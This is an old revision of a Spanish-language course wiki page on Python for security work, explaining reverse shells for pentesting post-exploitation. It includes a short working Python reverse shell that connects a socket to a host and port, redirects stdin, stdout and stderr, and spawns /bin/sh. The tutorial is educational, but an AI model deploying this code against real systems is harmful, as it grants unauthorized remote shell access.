Herramientas de usuario

Herramientas del sitio


informatica:programacion:cursos:python_avanzado_proyectos_seguridad:shell_inversa_sockets

¡Esta es una revisión vieja del documento!


Shell inversa con sockets

Módulo perteneciente al curso Python avanzado para proyectos de seguridad

En este ejemplo vamos a construir un script de shell inversa de Python.

Una Shell inversa se trata de acción mediante la cual un usuario consigue acceder a la shell de un servidor externo. Por ejemplo, si estás trabajando en una fase de pentesting relacionada con la post-explotación y te gustaría crear un script que se invoque en ciertos escenarios que automáticamente hará obtener un shell para acceder al sistema de ficheros de otra máquina, podríamos construir nuestra propia shell inversa en Python.

En este caso estamos utilizando dos nuevos módulos: os y subprocess. El módulo os es un módulo de interfaz de sistema operativo multipropósito.

El módulo de subprocess permite que el script ejecute comandos e interactuar con la entrada y salida de estos comandos.

Usamos el método sock.connect() para conectarnos a un host correspondiente a una determinada dirección IP y puerto especificados (en nuestro caso es localhost)

Una vez hemos obtenido la shell, podríamos obtener un listado del directorio mediante el comando /bin/ls, pero antes necesitamos establecer la conexión con nuestro socket a través de la salida del comando. Esto lo logramos con la instrucción: os.dup2(sock.fileno())

#!/usr/bin/python
 
import socket
import subprocess
import os
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 45679))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
shell_remote = subprocess.call(["/bin/sh", "-i"])
#proc = subprocess.call(["/bin/ls", "-i"])
informatica/programacion/cursos/python_avanzado_proyectos_seguridad/shell_inversa_sockets.1731411603.txt.gz · Última modificación: por tempwin